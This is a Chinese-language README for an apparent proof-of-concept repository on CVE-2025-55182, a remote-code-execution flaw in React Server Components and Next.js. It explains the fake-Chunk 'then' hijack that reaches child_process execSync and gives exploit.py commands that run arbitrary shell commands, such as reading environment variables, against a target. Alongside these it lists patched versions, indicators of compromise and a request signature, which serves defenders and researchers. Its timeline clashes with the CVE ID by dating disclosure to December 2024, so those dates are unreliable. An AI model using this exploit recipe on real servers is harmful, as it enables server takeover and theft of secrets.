CVE-2025-55182 (React2Shell) - 概念验证

⚠️ 仅限安全研究

本仓库包含 CVE-2025-55182 的概念验证代码，这是一个 React Server Components 中的严重远程代码执行漏洞。仅供 授权的安全测试和研究目的 使用。

漏洞概述

• CVE ID: CVE-2025-55182
• 名称: React2Shell
• CVSS 分数: 10.0（严重）
• 类型: CWE-502 - 不可信数据的反序列化
• 攻击向量: 网络（AV:N）
• 认证要求: 无需认证（PR:N）
• 状态: 已在野外被积极利用

受影响版本

React:

• 19.0.0
• 19.1.0、19.1.1
• 19.2.0

Next.js:

• 15.0.0 至 15.0.4
• 15.1.0 至 15.1.8
• 15.2.0 至 15.2.5
• 16.0.0 至 16.0.6

技术细节

该漏洞利用了 React Server Components Flight 协议中的不安全反序列化。当服务器接收到特制的 payload 时，它未能正确验证结构便进行反序列化，从而允许攻击者控制的数据操纵服务器端执行。

攻击机制

1. 伪 Chunk 注入: 攻击者发送一个 Flight payload，其中包含一个模拟内部 Chunk 结构的伪造对象
2. Promise 处理器劫持: 该伪造对象包含一个自定义的 then 方法
3. 状态操纵: React 的反序列化尝试解析伪造的 Chunk，触发了攻击者的处理器
4. 代码执行: 通过 process.mainModule.require('child_process') 在服务器上执行任意 JavaScript

PoC 设置

前提条件

• Node.js 18+
• Python 3.x（用于漏洞利用脚本）
• npm 或 yarn

安装

1. 安装依赖:

npm install

2. 启动存在漏洞的服务器:

npm run dev

服务器将在 http://localhost:3000 启动

存在漏洞的应用结构

app/
├── page.js              # 包含 ServerForm 的主页面
├── ServerForm.js        # 包含表单的客户端组件
├── actions.js           # 存在漏洞的服务器操作
└── layout.js            # 根布局

运行漏洞利用

基本用法

python3 exploit.py -t http://localhost:3000 -c "whoami"

选项

• -t, --target: 目标 URL（必需）
• -c, --command: 要执行的 shell 命令（默认: id）
• --check-only: 仅检查目标是否看起来存在漏洞

示例

检查目标是否存在漏洞:

python3 exploit.py -t http://localhost:3000 --check-only

执行任意命令:

# 获取用户信息
python3 exploit.py -t http://localhost:3000 -c "id"

# 列出文件
python3 exploit.py -t http://localhost:3000 -c "ls -la"

# 创建文件作为 PoC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"

# 读取环境变量
python3 exploit.py -t http://localhost:3000 -c "env"

漏洞利用 Payload 结构

该漏洞利用使用了多部分表单数据，其中：

字段 "0": 包含自定义 'then' 处理器的恶意 JSON
字段 "1": 对字段 0 的引用 ($@0)
标头: Next-Action: x（触发 RSC 处理）

该 payload 操纵内部 _response 对象以执行：

process.mainModule.require('child_process').execSync('<command>')

缓解措施

立即行动

1. 更新 React:

   npm install [email protected] [email protected]
   

2. 更新 Next.js:

   npm install [email protected]  # 或最新补丁版本
   

已修复版本

• React: ≥ 19.3.0
• Next.js:
  • ≥ 15.0.5
  • ≥ 15.1.9
  • ≥ 15.2.6
  • ≥ 16.0.7

检测

入侵指标

• 向带有 Next-Action 头部的 RSC 端点发送意外的 POST 请求
• 包含 $@ 引用的多部分表单数据 payload
• 请求体中可疑的 then 属性
• 服务器端进程执行异常

网络特征

POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...包含 {"then":"$@

时间线

• 2024年12月3日: 公开披露
• 2024年12月5日: 观察到被积极利用
• 2024年12月26日: CISA KEV 合规截止日期

参考

• 官方 CVE 记录
• NVD 条目
• CISA KEV 目录
• Wiz 安全公告
• OffSec 技术分析

免责声明

此概念验证仅用于 教育和授权的安全测试目的。未经授权访问计算机系统是违法的。作者不对滥用此信息承担任何责任。

请勿:

• 针对您不拥有或未经明确许可测试的系统使用此漏洞
• 在生产环境中部署此代码
• 在没有适当上下文和警告的情况下分享漏洞利用代码

许可证

MIT 许可证 - 仅供安全研究用途